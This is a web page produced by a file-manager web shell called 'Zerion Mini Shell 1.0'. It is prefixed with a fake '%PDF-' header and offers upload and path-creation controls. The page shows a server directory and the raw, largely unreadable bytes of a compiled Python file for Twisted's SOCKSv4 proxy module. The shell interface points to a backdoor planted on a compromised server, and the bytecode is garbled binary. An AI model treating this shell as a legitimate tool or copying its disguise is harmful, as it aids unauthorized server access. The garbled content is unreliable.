%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/protocols/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/protocols/__pycache__/socks.cpython-312.pyc

�

Ϫ�f����dZddlZddlZddlZddlZddlmZmZmZddl	m
Z
Gd�dej�ZGd�dej�Z
Gd	�d
ej�ZGd�dej�ZGd
�dej�Zy)z)
Implementation of the SOCKSv4 protocol.
�N)�defer�protocol�reactor)�logc�*�eZdZd�Zd�Zd�Zd�Zd�Zy)�SOCKSv4Outgoingc��||_y�N)�socks��selfrs  �9/usr/lib/python3/dist-packages/twisted/protocols/socks.py�__init__zSOCKSv4Outgoing.__init__s	����
�c��|jj�}|jjdd|j|j
��||j_y)N�Zr)�port�ip)�	transport�getPeerr�	makeReplyr�host�	otherConn)r
�peers  r�connectionMadezSOCKSv4Outgoing.connectionMadesC���~�~�%�%�'���
�
���R�����t�y�y��A�#��
�
�rc�L�|jjj�yr
�rr�loseConnection�r
�reasons  r�connectionLostzSOCKSv4Outgoing.connectionLost����
�
���+�+�-rc�:�|jj|�yr
�r�write�r
�datas  r�dataReceivedzSOCKSv4Outgoing.dataReceived!����
�
����rc�r�|jj||�|jj|�yr
�rrrr%r&s  rr%zSOCKSv4Outgoing.write$�&���
�
���t�T�"������T�"rN)�__name__�
__module__�__qualname__rrr!r(r%�rrrrs���$�
.��#rrc�$�eZdZd�Zd�Zd�Zd�Zy)�SOCKSv4Incomingc�4�||_||j_yr
)rrrs  rrzSOCKSv4Incoming.__init__*s����
�#��
�
�rc�L�|jjj�yr
rrs  rr!zSOCKSv4Incoming.connectionLost.r"rc�:�|jj|�yr
r$r&s  rr(zSOCKSv4Incoming.dataReceived1r)rc�r�|jj||�|jj|�yr
r+r&s  rr%zSOCKSv4Incoming.write4r,rN)r-r.r/rr!r(r%r0rrr2r2)s��$�.��#rr2c�Z�eZdZdZdefd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zdd�Z
d�Zd
�Zy)�SOCKSv4a�
    An implementation of the SOCKSv4 protocol.

    @type logging: L{str} or L{None}
    @ivar logging: If not L{None}, the name of the logfile to which connection
        information will be written.

    @type reactor: object providing L{twisted.internet.interfaces.IReactorTCP}
    @ivar reactor: The reactor used to create connections.

    @type buf: L{str}
    @ivar buf: Part of a SOCKSv4 connection request.

    @type otherConn: C{SOCKSv4Incoming}, C{SOCKSv4Outgoing} or L{None}
    @ivar otherConn: Until the connection has been established, C{otherConn} is
        L{None}. After that, it is the proxy-to-destination protocol instance
        along which the client's connection is being forwarded.
    Nc� �||_||_yr
)�loggingr)r
r:rs   rrzSOCKSv4.__init__Ms�������rc� �d|_d|_y)Nr)�bufr)r
s rrzSOCKSv4.connectionMadeQs�������rc��|jr|jj|�y|j|z|_|j}d|jddv�r,|jdd|jddc}|_tjd|dd�\}}}|jjdd�\}|_|dddk(r�|dddk7r�d|jvr||_y|jjdd�\}|_|jj|�}	|	j|j||||�|	j|fd	��ytj|dd�}|j|||||�yy)
z�
        Called whenever data is received.

        @type data: L{bytes}
        @param data: Part or all of a SOCKSv4 packet.
        N���!BBH���sc�$�|jd�S�N�[�r��resultr
s  r�<lambda>z&SOCKSv4.dataReceived.<locals>.<lambda>ps��t�~�~�b�7I�r)
rr%r<�struct�unpack�splitr�resolve�addCallback�_dataReceived2�
addErrback�socket�	inet_ntoa)
r
r'�completeBuffer�head�version�coder�user�server�ds
          rr(zSOCKSv4.dataReceivedUsa���>�>��N�N� � ��&���8�8�d�?��������d�h�h�q�r�l�"�!�X�X�b�q�\�4�8�8�A�B�<�N�D�$�(�"(�-�-���R�a��"A��G�T�4�!�X�X�^�^�G�Q�7�N�D�$�(��A�a�y�O�+��Q�q�	�W�0D�
�$�(�(�*�-�D�H��#'�8�8�>�>�'�1�#=� �����L�L�(�(��0���
�
�d�1�1�4��$��M�����I�J���)�)�$�q��)�4�������g�t�T�B�)#rc��|dk(s
Jd|z��|j||||�s|jd�y|dk(r-|j||t|�}|j	|fd��n@|dk(r-|jdt||�}|j|fd	��ntd
|����|jdk(sJdt|j�z��y)
a4
        The second half of the SOCKS connection setup. For a SOCKSv4 packet this
        is after the server address has been extracted from the header. For a
        SOCKSv4a packet this is after the host name has been resolved.

        @type server: L{str}
        @param server: The IP address of the destination, represented as a
            dotted quad.

        @type user: L{str}
        @param user: The username associated with the connection.

        @type version: L{int}
        @param version: The SOCKS protocol version number.

        @type code: L{int}
        @param code: The command code. 1 means establish a TCP/IP stream
            connection, and 2 means establish a TCP/IP port binding.

        @type port: L{int}
        @param port: The port number associated with the connection.
        rAzBad version code: %srFNrBc�$�|jd�SrErGrHs  rrJz(SOCKSv4._dataReceived2.<locals>.<lambda>�s��4�>�>�"�3E�r�rc�6�|jdd|d|d�S)NrrrBrG)�xr
s  rrJz(SOCKSv4._dataReceived2.<locals>.<lambda>�s��t�~�~�b�!�Q�q�T�1�Q�4�/P�rzBad Connect Code: rz hmm, still stuff in buffer... %s)�	authorizer�connectClassrrQ�listenClass�SOCKSv4IncomingFactoryrO�RuntimeErrorr<�repr)r
rYrXrVrWrrZs       rrPzSOCKSv4._dataReceived2ws���.�!�|�=�3�g�=�=�|��~�~�d�F�D�$�7��N�N�2����1�9��!�!�&�$���F�A�
�L�L�T�E�F�
�Q�Y�� � ��$:�D�&�I�A�
�M�M��P�Q��!3�D�6�:�;�;��x�x�3��S� B�T�$�(�(�^� S�S�rc�f�|jr%|jjj�yyr
)rrrrs  rr!zSOCKSv4.connectionLost�s$���>�>��N�N�$�$�3�3�5�rc�H�tjd|�d|�d|�d|�d�	�y)Nzcode z connection to �:z (user z) authorizedrB)r�msg)r
rWrYrrXs     rr`zSOCKSv4.authorize�s!������V�T�4�
)�	
�rc�X�tjt|g|���j||�Sr
)r�
ClientCreatorr�
connectTCP)r
rr�klass�argss     rrazSOCKSv4.connectClass�s'���%�%�g�u�<�t�<�G�G��d�S�Src��tj|||��}tj|j	�dd�S)NrB)r�	listenTCPr�succeed�getHost)r
rrmrn�servs     rrbzSOCKSv4.listenClass�s4��� � ��u�d�|�4���}�}�T�\�\�^�A�B�/�0�0rc���|jjtjd|||�t	j
|�z�|dk7r|jj
�yy)Nr@r)rr%rK�packrR�	inet_atonr)r
�replyrVrrs     rrzSOCKSv4.makeReply�sT��������K�K�����5��8H�8H��8L�L�	
��B�;��N�N�)�)�+�rc�^�|j||�|jj|�yr
)rrr%r&s  rr%z
SOCKSv4.write�s"������t�������T�"rc	�4�|jsy|jj�}|jjj�}t	|jd�}|jdt
j�|j|j||k(xrdxsd|j|jfz�|r�|dd|dd}}|jtjtd�|�d�dz�|jdt|�z
dzdz�|D]<}tt|��dkDr|jd	��,|j|��>|jd
�|r��|jd
�|j�y)N�az%s	%s:%d %s %s:%d
�<�>�c��dt|�zS)Nz%02X)�ord)r_s rrJzSOCKSv4.log.<locals>.<lambda>�s��f�s�1�v�o�r� ��.�
)r:rrr�openr%�time�ctimerr�string�join�map�lenre�close)r
�protor'r�
their_peer�f�p�cs        rrzSOCKSv4.log�sN���|�|���~�~�%�%�'���^�^�-�-�5�5�7�
�����s�#��	���"��
�
���	�	��	�	��4�-�'�C�/�C�������
�
�
	
���3�B�i��b�c��t�A�
�G�G�F�K�K��$=�q� A�3�G�#�M�N�
�G�G�R�#�a�&�[�A�%��+�,��
���t�A�w�<�!�#��G�G�C�L��G�G�A�J�	
�

�G�G�D�M��	
����
�	���	r)rrz0.0.0.0)r-r.r/�__doc__rrrr(rPr!r`rarbrr%rr0rrr8r89sJ���& $�W��� C�D#T�J6��T�1�,�#�rr8c��eZdZdZd�Zd�Zy)�SOCKSv4Factoryz`
    A factory for a SOCKSv4 proxy.

    Constructor accepts one argument, a log file name.
    c��||_yr
)r:)r
rs  rrzSOCKSv4Factory.__init__�s	����rc�6�t|jt�Sr
)r8r:r�r
�addrs  r�
buildProtocolzSOCKSv4Factory.buildProtocol�s���t�|�|�W�-�-rN�r-r.r/r�rr�r0rrr�r��s����.rr�c��eZdZdZd�Zd�Zy)rczJ
    A utility class for building protocols for incoming connections.
    c� �||_||_yr
)rr)r
rrs   rrzSOCKSv4IncomingFactory.__init__�s����
���rc��|d|jk(r8d|_|jjdd�t|j�S|jdk(ry|jjdd�d|_y)Nr�rrF)rrrr2r�s  rr�z$SOCKSv4IncomingFactory.buildProtocol�sh����7�d�g�g���D�G��J�J� � ��Q�'�"�4�:�:�.�.�
�W�W��]���J�J� � ��Q�'��D�G�rNr�r0rrrcrc�s����
rrc)r�rRr�rKr��twisted.internetrrr�twisted.pythonr�Protocolrr2r8�Factoryr�rcr0rr�<module>r�s���
��
���6�5��#�h�'�'�#�(
#�h�'�'�
#� \�h���\�~.�X�%�%�.��X�-�-�r

Zerion Mini Shell 1.0